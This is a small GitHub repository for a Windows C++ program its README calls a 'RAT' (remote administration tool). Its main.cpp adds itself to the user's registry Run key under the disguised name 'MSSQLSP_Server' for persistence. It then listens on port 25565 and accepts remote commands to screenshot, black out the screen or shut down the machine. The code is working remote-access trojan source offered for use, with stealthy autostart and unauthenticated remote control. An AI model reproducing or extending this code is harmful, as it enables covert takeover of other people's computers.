├── .gitattributes ├── .gitignore ├── README.md ├── Server.sln └── Server ├── Server.vcxproj ├── Server.vcxproj.filters └── main.cpp /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ################# 2 | ## Eclipse 3 | ################# 4 | 5 | *.pydevproject 6 | .project 7 | .metadata 8 | bin/ 9 | tmp/ 10 | *.tmp 11 | *.bak 12 | *.swp 13 | *~.nib 14 | local.properties 15 | .classpath 16 | .settings/ 17 | .loadpath 18 | 19 | # External tool builders 20 | .externalToolBuilders/ 21 | 22 | # Locally stored "Eclipse launch configurations" 23 | *.launch 24 | 25 | # CDT-specific 26 | .cproject 27 | 28 | # PDT-specific 29 | .buildpath 30 | 31 | 32 | ################# 33 | ## Visual Studio 34 | ################# 35 | 36 | ## Ignore Visual Studio temporary files, build results, and 37 | ## files generated by popular Visual Studio add-ons. 38 | 39 | # User-specific files 40 | *.suo 41 | *.user 42 | *.sln.docstates 43 | 44 | # Build results 45 | [Dd]ebug/ 46 | [Rr]elease/ 47 | *_i.c 48 | *_p.c 49 | *.ilk 50 | *.meta 51 | *.obj 52 | *.pch 53 | *.pdb 54 | *.pgc 55 | *.pgd 56 | *.rsp 57 | *.sbr 58 | *.tlb 59 | *.tli 60 | *.tlh 61 | *.tmp 62 | *.vspscc 63 | .builds 64 | *.dotCover 65 | 66 | ## TODO: If you have NuGet Package Restore enabled, uncomment this 67 | #packages/ 68 | 69 | # Visual C++ cache files 70 | ipch/ 71 | *.aps 72 | *.ncb 73 | *.opensdf 74 | *.sdf 75 | 76 | # Visual Studio profiler 77 | *.psess 78 | *.vsp 79 | 80 | # ReSharper is a .NET coding add-in 81 | _ReSharper* 82 | 83 | # Installshield output folder 84 | [Ee]xpress 85 | 86 | # DocProject is a documentation generator add-in 87 | DocProject/buildhelp/ 88 | DocProject/Help/*.HxT 89 | DocProject/Help/*.HxC 90 | DocProject/Help/*.hhc 91 | DocProject/Help/*.hhk 92 | DocProject/Help/*.hhp 93 | DocProject/Help/Html2 94 | DocProject/Help/html 95 | 96 | # Click-Once directory 97 | publish 98 | 99 | # Others 100 | [Bb]in 101 | [Oo]bj 102 | sql 103 | TestResults 104 | *.Cache 105 | ClientBin 106 | stylecop.* 107 | ~$* 108 | *.dbmdl 109 | Generated_Code #added for RIA/Silverlight projects 110 | 111 | # Backup & report files from converting an old project file to a newer 112 | # Visual Studio version. Backup files are not needed, because we have git ;-) 113 | _UpgradeReport_Files/ 114 | Backup*/ 115 | UpgradeLog*.XML 116 | 117 | 118 | 119 | ############ 120 | ## Windows 121 | ############ 122 | 123 | # Windows image file caches 124 | Thumbs.db 125 | 126 | # Folder config file 127 | Desktop.ini 128 | 129 | 130 | ############# 131 | ## Python 132 | ############# 133 | 134 | *.py[co] 135 | 136 | # Packages 137 | *.egg 138 | *.egg-info 139 | dist 140 | build 141 | eggs 142 | parts 143 | bin 144 | var 145 | sdist 146 | develop-eggs 147 | .installed.cfg 148 | 149 | # Installer logs 150 | pip-log.txt 151 | 152 | # Unit test / coverage reports 153 | .coverage 154 | .tox 155 | 156 | #Translations 157 | *.mo 158 | 159 | #Mr Developer 160 | .mr.developer.cfg 161 | 162 | # Mac crap 163 | .DS_Store 164 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | RAT 2 | === 3 | 4 | A RAT is a "Remote Administration Tool". This is the one I'm using on my own network to control the clients :P 5 | 6 | 7 | 8 | Its features: 9 | 10 | - making screenshots 11 | 12 | - opening a blackscreen at the client 13 | 14 | - shutting down the PC 15 | 16 | TODO 17 | ==== 18 | 19 | - Sending messages 20 | 21 | - Sending custom cmd.exe commands 22 | -------------------------------------------------------------------------------- /Server.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Server", "Server\Server.vcxproj", "{F6028D2E-08AC-4BCB-9AD2-13839204948D}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {F6028D2E-08AC-4BCB-9AD2-13839204948D}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {F6028D2E-08AC-4BCB-9AD2-13839204948D}.Debug|Win32.Build.0 = Debug|Win32 14 | {F6028D2E-08AC-4BCB-9AD2-13839204948D}.Release|Win32.ActiveCfg = Release|Win32 15 | {F6028D2E-08AC-4BCB-9AD2-13839204948D}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Server/Server.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {F6028D2E-08AC-4BCB-9AD2-13839204948D} 15 | Server 16 | 17 | 18 | 19 | Application 20 | true 21 | v110 22 | MultiByte 23 | 24 | 25 | Application 26 | false 27 | v110 28 | true 29 | MultiByte 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | Level3 45 | Disabled 46 | 47 | 48 | true 49 | kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;ws2_32.lib;%(AdditionalDependencies) 50 | 51 | 52 | 53 | 54 | Level3 55 | MaxSpeed 56 | true 57 | true 58 | 59 | 60 | true 61 | true 62 | true 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /Server/Server.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Quelldateien 20 | 21 | 22 | -------------------------------------------------------------------------------- /Server/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #pragma comment(lib,"ws2_32.lib") 9 | 10 | using namespace std; 11 | 12 | #define RUN_KEY_ADMIN "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run" 13 | #define RUN_KEY "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" 14 | 15 | int addRunEntry(char *name, char *path) 16 | { 17 | HKEY key; 18 | int len = strlen(path) + 1; 19 | //LONG r = RegOpenKeyEx(HKEY_LOCAL_MACHINE, RUN_KEY, 0, KEY_ALL_ACCESS, &key); 20 | LONG r = RegOpenKeyEx(HKEY_CURRENT_USER, RUN_KEY, 0, KEY_ALL_ACCESS, &key); 21 | 22 | if (r != ERROR_SUCCESS) { 23 | // unable to open key for adding values. 24 | return 1; 25 | } 26 | 27 | r = RegSetValueEx(key, name, 0, REG_SZ, (BYTE *)path, len); 28 | if (r != ERROR_SUCCESS) { 29 | RegCloseKey(key); 30 | // unable to change registry value. 31 | return 1; 32 | } 33 | 34 | RegCloseKey(key); 35 | 36 | // success 37 | return 0; 38 | } 39 | 40 | void loader(char szExe[], char szArgs[]) 41 | { 42 | STARTUPINFO si = { sizeof(si) }; 43 | PROCESS_INFORMATION pi; 44 | 45 | if(CreateProcessA(szExe, szArgs, 0, 0, FALSE, 0, 0, 0, LPSTARTUPINFOA(&si), &pi)) 46 | { 47 | // optionally wait for process to finish 48 | //WaitForSingleObject(pi.hProcess, INFINITE); 49 | 50 | CloseHandle(pi.hProcess); 51 | CloseHandle(pi.hThread); 52 | } 53 | } 54 | 55 | int WINAPI WinMain(HINSTANCE inst,HINSTANCE prev,LPSTR cmd,int show){ 56 | //registry autorun 57 | char result[260]; 58 | string( result, GetModuleFileName(NULL, result, 260)); 59 | string try1 = (string)result; 60 | string try2 = "\""+try1+"\""; 61 | char *result2 = (char*)try2.c_str(); 62 | addRunEntry("MSSQLSP_Server", result2); 63 | 64 | bool running = true; 65 | while(running){ 66 | WSADATA WsaDat; 67 | if(WSAStartup(MAKEWORD(2,2),&WsaDat)!=0) 68 | { 69 | std::cout<<"WSA Initialization failed!\r\n"; 70 | WSACleanup(); 71 | system("PAUSE"); 72 | return 0; 73 | } 74 | 75 | SOCKET Socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 76 | if(Socket==INVALID_SOCKET) 77 | { 78 | std::cout<<"Socket creation failed.\r\n"; 79 | WSACleanup(); 80 | system("PAUSE"); 81 | return 0; 82 | } 83 | 84 | SOCKADDR_IN serverInf; 85 | serverInf.sin_family=AF_INET; 86 | serverInf.sin_addr.s_addr=INADDR_ANY; 87 | serverInf.sin_port=htons(25565); 88 | 89 | if(bind(Socket,(SOCKADDR*)(&serverInf),sizeof(serverInf))==SOCKET_ERROR) 90 | { 91 | std::cout<<"Unable to bind socket!\r\n"; 92 | WSACleanup(); 93 | system("PAUSE"); 94 | return 0; 95 | } 96 | 97 | listen(Socket,1); 98 | 99 | SOCKET TempSock=SOCKET_ERROR; 100 | while(TempSock==SOCKET_ERROR) 101 | { 102 | std::cout<<"Waiting for incoming connections...\r\n"; 103 | TempSock=accept(Socket,NULL,NULL); 104 | } 105 | Socket=TempSock; 106 | 107 | std::cout<<"Client connected!\r\n\r\n"; 108 | 109 | char *szMessage="Welcome to the server! Use SCREENSHOT or SHUTDOWN or BLACKSCREEN\r\n"; 110 | send(Socket,szMessage,strlen(szMessage),0); 111 | 112 | // 113 | char buffer[1024] = {'\0'}; 114 | std::string message; 115 | int s = recv(Socket, buffer, 1024, 0); 116 | /*cout << "outgoing MESSAGE: "; 117 | cin >> message; 118 | send(Socket, message.c_str(), message.length(), 0);*/ 119 | message = (string)buffer; 120 | cout << message; 121 | if (std::string::npos != message.find("SCREENSHOT")) 122 | { 123 | char* appdata = getenv("APPDATA"); 124 | string asdf = (string)appdata + "\\Server_actions.exe"; 125 | char * ddd = &asdf[0]; 126 | loader(ddd, " SCREENSHOT"); 127 | string backstr = "it's up to you, master.. Screenes may be cool!"; 128 | send(Socket, backstr.c_str(), backstr.length(), 0); 129 | }else if(std::string::npos != message.find("SHUTDOWN")){ 130 | //shutdown the pc 131 | //restart app 132 | char* appdata = getenv("APPDATA"); 133 | string asdf = (string)appdata + "\\Server_actions.exe"; 134 | char * ddd = &asdf[0]; 135 | loader(ddd, " SHUTDOWN"); 136 | string backstr = "Shutting down.."; 137 | send(Socket, backstr.c_str(), backstr.length(), 0); 138 | return 0; 139 | }else if(std::string::npos != message.find("BLACKSCREEN")){ 140 | //black screen 141 | //restart app 142 | char* appdata = getenv("APPDATA"); 143 | string asdf = (string)appdata + "\\Server_actions.exe"; 144 | char * ddd = &asdf[0]; 145 | loader(ddd, " BLACKSCREEN"); 146 | string backstr = "it's up to you, master.. Having fun on a black desktop :)"; 147 | send(Socket, backstr.c_str(), backstr.length(), 0); 148 | } 149 | 150 | // Shutdown our socket 151 | shutdown(Socket,SD_SEND); 152 | 153 | // Close our socket entirely 154 | closesocket(Socket); 155 | 156 | // Cleanup Winsock 157 | WSACleanup(); 158 | } 159 | 160 | system("PAUSE"); 161 | return 0; 162 | } 163 | --------------------------------------------------------------------------------